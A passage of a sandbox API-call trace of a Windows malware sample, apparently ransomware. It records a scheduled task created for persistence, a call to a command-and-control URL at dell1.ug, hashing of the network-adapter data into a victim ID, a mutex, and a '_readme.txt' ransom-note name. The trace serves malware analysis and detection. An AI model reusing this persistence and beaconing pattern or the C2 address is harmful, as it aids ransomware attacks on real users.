Data2=0xfd6b, Data3=0x49a3, Data4=([0]=0xb9, [1]=0xb7, [2]=0x9, [3]=0xcb, [4]=0x3c, [5]=0xd3, [6]=0xf0, [7]=0x47)), ppvObject=0x18e6d0 | out: ppvObject=0x18e6d0*=0x26b0c98) returned 0x0 [0051.111] IUnknown:Release (This=0x26b0c98) returned 0x2 [0051.111] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195068 [0051.112] IExecAction:put_Path (This=0x26b0c98, Path="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\3a21fbc5-dd69-4c4d-8afb-49507938dea0\\bxavdk.exe") returned 0x0 [0051.112] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195068 | out: hHeap=0x5d0000) returned 1 [0051.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195068 [0051.112] IExecAction:put_Arguments (This=0x26b0c98, Arguments="--Task") returned 0x0 [0051.112] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195068 | out: hHeap=0x5d0000) returned 1 [0051.112] IUnknown:Release (This=0x26b0c98) returned 0x1 [0051.112] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc) returned 0x3195068 [0051.112] ITaskFolder:RegisterTaskDefinition (in: This=0x26b0920, Path="Time Trigger Task", pDefinition=0x26b0950, flags=6, UserId=0x18e170*(varType=0x0, wReserved1=0x318, wReserved2=0xe684, wReserved3=0x18, varVal1=0x41720b, varVal2=0x5d0000), password=0x18e180*(varType=0x0, wReserved1=0x0, wReserved2=0xc0, wReserved3=0x0, varVal1=0x5f, varVal2=0x7), LogonType=3, sddl=0x18e194*(varType=0x8, wReserved1=0x0, wReserved2=0x2, wReserved3=0x0, varVal1="", varVal2=0xc8), ppTask=0x18e69c | out: ppTask=0x18e69c*=0x26b0d18) returned 0x0 [0051.156] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195068 | out: hHeap=0x5d0000) returned 1 [0051.156] TaskScheduler:IUnknown:Release (This=0x26b0920) returned 0x0 [0051.156] TaskScheduler:IUnknown:Release (This=0x26b0950) returned 0x0 [0051.156] IUnknown:Release (This=0x26b0d18) returned 0x0 [0051.156] CoUninitialize () [0051.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185278 | out: hHeap=0x5d0000) returned 1 [0051.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31851b0 | out: hHeap=0x5d0000) returned 1 [0051.157] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185020 | out: hHeap=0x5d0000) returned 1 [0051.157] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x1) returned 0x6ae618 [0051.157] OpenServiceW (hSCManager=0x6ae618, lpServiceName="MYSQL", dwDesiredAccess=0x20) returned 0x0 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3186e38 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3183820 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3176040 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31762a8 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3176510 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3176778 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31769e0 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3198060 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31982c8 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3198530 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3198798 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3198a00 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3198c68 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3198ed0 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3199138 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31993a0 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3199608 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x3193bd0 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x3152000 [0051.158] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3193bd0 | out: hHeap=0x5d0000) returned 1 [0051.158] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x110) returned 0x312b478 [0051.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414280, lpParameter=0x318fed0, dwCreationFlags=0x0, lpThreadId=0x45d9b8 | out: lpThreadId=0x45d9b8*=0xb04) returned 0x5b0 [0051.364] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x31c8a80 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3199870 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3199ad8 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3199d40 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x3199fa8 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319a210 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319a478 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319a6e0 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319a948 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319abb0 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319ae18 [0051.365] lstrlenA (lpString="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned 66 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x86) returned 0x6b9420 [0051.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3199870, cbMultiByte=-1, lpWideCharStr=0x6b9420, cchWideChar=67 | out: lpWideCharStr="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned 67 [0051.365] lstrcatW (in: lpString1="", lpString2="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.365] lstrlenA (lpString="") returned 0 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bad0 [0051.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3199ad8, cbMultiByte=-1, lpWideCharStr=0x311bad0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.365] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.365] lstrlenA (lpString="") returned 0 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb00 [0051.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3199d40, cbMultiByte=-1, lpWideCharStr=0x311bb00, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.365] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.365] lstrlenA (lpString="") returned 0 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311baf0 [0051.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3199fa8, cbMultiByte=-1, lpWideCharStr=0x311baf0, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.365] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.365] lstrlenA (lpString="") returned 0 [0051.365] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb70 [0051.365] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x319a210, cbMultiByte=-1, lpWideCharStr=0x311bb70, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.365] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.365] lstrlenA (lpString="") returned 0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb30 [0051.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x319a478, cbMultiByte=-1, lpWideCharStr=0x311bb30, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.366] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.366] lstrlenA (lpString="") returned 0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb20 [0051.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x319a6e0, cbMultiByte=-1, lpWideCharStr=0x311bb20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.366] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.366] lstrlenA (lpString="") returned 0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb40 [0051.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x319a948, cbMultiByte=-1, lpWideCharStr=0x311bb40, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.366] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.366] lstrlenA (lpString="") returned 0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb50 [0051.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x319abb0, cbMultiByte=-1, lpWideCharStr=0x311bb50, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.366] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.366] lstrlenA (lpString="") returned 0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2) returned 0x311bb60 [0051.366] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x319ae18, cbMultiByte=-1, lpWideCharStr=0x311bb60, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0051.366] lstrcatW (in: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php", lpString2="" | out: lpString1="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php") returned="http://dell1.ug/Aksdj8457hljskdfsdf/Asdh4835yo3iuhlkjdfgdf/get.php" [0051.366] lstrlenW (lpString="") returned 0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x12) returned 0x3158bb0 [0051.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x288) returned 0x3176c48 [0051.366] GetAdaptersInfo (in: AdapterInfo=0x3176c48, SizePointer=0x18e6b4 | out: AdapterInfo=0x3176c48, SizePointer=0x18e6b4) returned 0x0 [0051.391] GetAdaptersInfo (in: AdapterInfo=0x3176c48, SizePointer=0x18e6b4 | out: AdapterInfo=0x3176c48, SizePointer=0x18e6b4) returned 0x0 [0051.394] GetLastError () returned 0x0 [0051.394] GetLastError () returned 0x0 [0051.395] CryptAcquireContextW (in: phProv=0x18e684, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e684*=0x6ab798) returned 1 [0051.395] CryptCreateHash (in: hProv=0x6ab798, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e68c | out: phHash=0x18e68c) returned 1 [0051.395] CryptHashData (hHash=0x31bee20, pbData=0x31f40a8, dwDataLen=0x11, dwFlags=0x0) returned 1 [0051.395] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e688, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e688) returned 1 [0051.395] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x3158e10 [0051.395] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x3158e10, pdwDataLen=0x18e688, dwFlags=0x0 | out: pbData=0x3158e10, pdwDataLen=0x18e688) returned 1 [0051.396] GetLastError () returned 0x0 [0051.396] CryptDestroyHash (hHash=0x31bee20) returned 1 [0051.396] CryptReleaseContext (hProv=0x6ab798, dwFlags=0x0) returned 1 [0051.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f40a8 | out: hHeap=0x5d0000) returned 1 [0051.396] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x316b428 [0051.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x316b188 | out: hHeap=0x5d0000) returned 1 [0051.396] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ae6b8 | out: hHeap=0x5d0000) returned 1 [0051.396] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x61a8000, lpStartAddress=0x414d40, lpParameter=0x45d9d0, dwCreationFlags=0x0, lpThreadId=0x45d9bc | out: lpThreadId=0x45d9bc*=0xb08) returned 0x5d0 [0051.591] WaitForSingleObject (hHandle=0x5d0, dwMilliseconds=0xffffffff) returned 0x0 [0052.189] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}") returned 0x5cc [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x31c8ae0 [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319b080 [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319b2e8 [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319b550 [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319b7b8 [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319ba20 [0052.189] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x319bc88 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b2060 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b22c8 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b2530 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b2798 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6f68 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3176c48 [0052.190] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW", cchWideChar=-1, lpMultiByteStr=0x3176c48, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW", lpUsedDefaultChar=0x0) returned 41 [0052.190] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x31f2f30 [0052.190] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3176c48 | out: hHeap=0x5d0000) returned 1 [0052.190] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30f6f68 | out: hHeap=0x5d0000) returned 1 [0052.190] CryptAcquireContextW (in: phProv=0x18e6f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x18e6f4*=0x6ab710) returned 1 [0052.191] CryptCreateHash (in: hProv=0x6ab710, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18e6f8 | out: phHash=0x18e6f8) returned 1 [0052.191] lstrlenA (lpString="PdGKbOkzKTiGVvpd4QzftNhXfkdSbAumfbQrWyMW") returned 40 [0052.191] CryptHashData (hHash=0x31beea0, pbData=0x31f2f30, dwDataLen=0x28, dwFlags=0x0) returned 1 [0052.191] CryptGetHashParam (in: hHash=0x31beea0, dwParam=0x2, pbData=0x0, pdwDataLen=0x18e6fc, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x18e6fc) returned 1 [0052.191] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x3158e10 [0052.191] CryptGetHashParam (in: hHash=0x31beea0, dwParam=0x2, pbData=0x3158e10, pdwDataLen=0x18e6fc, dwFlags=0x0 | out: pbData=0x3158e10, pdwDataLen=0x18e6fc) returned 1 [0052.191] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x34) returned 0x31beee0 [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="", lpString2="2B" | out: lpString1="2B") returned="2B" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2B", lpString2="CA" | out: lpString1="2BCA") returned="2BCA" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA", lpString2="5D" | out: lpString1="2BCA5D") returned="2BCA5D" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5D", lpString2="B8" | out: lpString1="2BCA5DB8") returned="2BCA5DB8" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB8", lpString2="2C" | out: lpString1="2BCA5DB82C") returned="2BCA5DB82C" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C", lpString2="7F" | out: lpString1="2BCA5DB82C7F") returned="2BCA5DB82C7F" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C7F", lpString2="DD" | out: lpString1="2BCA5DB82C7FDD") returned="2BCA5DB82C7FDD" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C7FDD", lpString2="D2" | out: lpString1="2BCA5DB82C7FDDD2") returned="2BCA5DB82C7FDDD2" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C7FDDD2", lpString2="13" | out: lpString1="2BCA5DB82C7FDDD213") returned="2BCA5DB82C7FDDD213" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C7FDDD213", lpString2="39" | out: lpString1="2BCA5DB82C7FDDD21339") returned="2BCA5DB82C7FDDD21339" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C7FDDD21339", lpString2="BF" | out: lpString1="2BCA5DB82C7FDDD21339BF") returned="2BCA5DB82C7FDDD21339BF" [0052.191] GetLastError () returned 0x0 [0052.191] lstrcatA (in: lpString1="2BCA5DB82C7FDDD21339BF", lpString2="71" | out: lpString1="2BCA5DB82C7FDDD21339BF71") returned="2BCA5DB82C7FDDD21339BF71" [0052.191] GetLastError () returned 0x0 [0052.192] lstrcatA (in: lpString1="2BCA5DB82C7FDDD21339BF71", lpString2="3B" | out: lpString1="2BCA5DB82C7FDDD21339BF713B") returned="2BCA5DB82C7FDDD21339BF713B" [0052.192] GetLastError () returned 0x0 [0052.192] lstrcatA (in: lpString1="2BCA5DB82C7FDDD21339BF713B", lpString2="35" | out: lpString1="2BCA5DB82C7FDDD21339BF713B35") returned="2BCA5DB82C7FDDD21339BF713B35" [0052.192] GetLastError () returned 0x0 [0052.192] lstrcatA (in: lpString1="2BCA5DB82C7FDDD21339BF713B35", lpString2="B1" | out: lpString1="2BCA5DB82C7FDDD21339BF713B35B1") returned="2BCA5DB82C7FDDD21339BF713B35B1" [0052.192] GetLastError () returned 0x0 [0052.192] lstrcatA (in: lpString1="2BCA5DB82C7FDDD21339BF713B35B1", lpString2="85" | out: lpString1="2BCA5DB82C7FDDD21339BF713B35B185") returned="2BCA5DB82C7FDDD21339BF713B35B185" [0052.192] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3158e10 | out: hHeap=0x5d0000) returned 1 [0052.192] CryptDestroyHash (hHash=0x31beea0) returned 1 [0052.192] CryptReleaseContext (hProv=0x6ab710, dwFlags=0x0) returned 1 [0052.192] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0052.192] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x30f6f68 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x31c8b10 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b2a00 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b2c68 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b2ed0 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b3138 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b33a0 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b3608 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b3870 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b3ad8 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b3d40 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b3fa8 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x816) returned 0x31f2f30 [0052.192] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18e700, cbMultiByte=-1, lpWideCharStr=0x31f2f30, cchWideChar=1035 | out: lpWideCharStr="_readme.txt") returned 12 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x31f3750 [0052.192] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x28) returned 0x31c8b40 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b4210 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b4478 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b46e0 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b4948 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b4bb0 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b4e18 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b5080 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b52e8 [0052.192] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b5550 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25c) returned 0x31b57b8 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x3193c78 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x130) returned 0x3111648 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3193c78 | out: hHeap=0x5d0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1d0) returned 0x3195e28 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3111648 | out: hHeap=0x5d0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x2b7) returned 0x3176c48 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3195e28 | out: hHeap=0x5d0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x412) returned 0x31f2f30 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3176c48 | out: hHeap=0x5d0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x61a) returned 0x31ef5f0 [0052.193] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31f2f30 | out: hHeap=0x5d0000) returned 1 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x440) returned 0x3176c48 [0052.193] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1068) returned 0x31efc18 [0052.193] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x3176c48, cbMultiByte=-1, 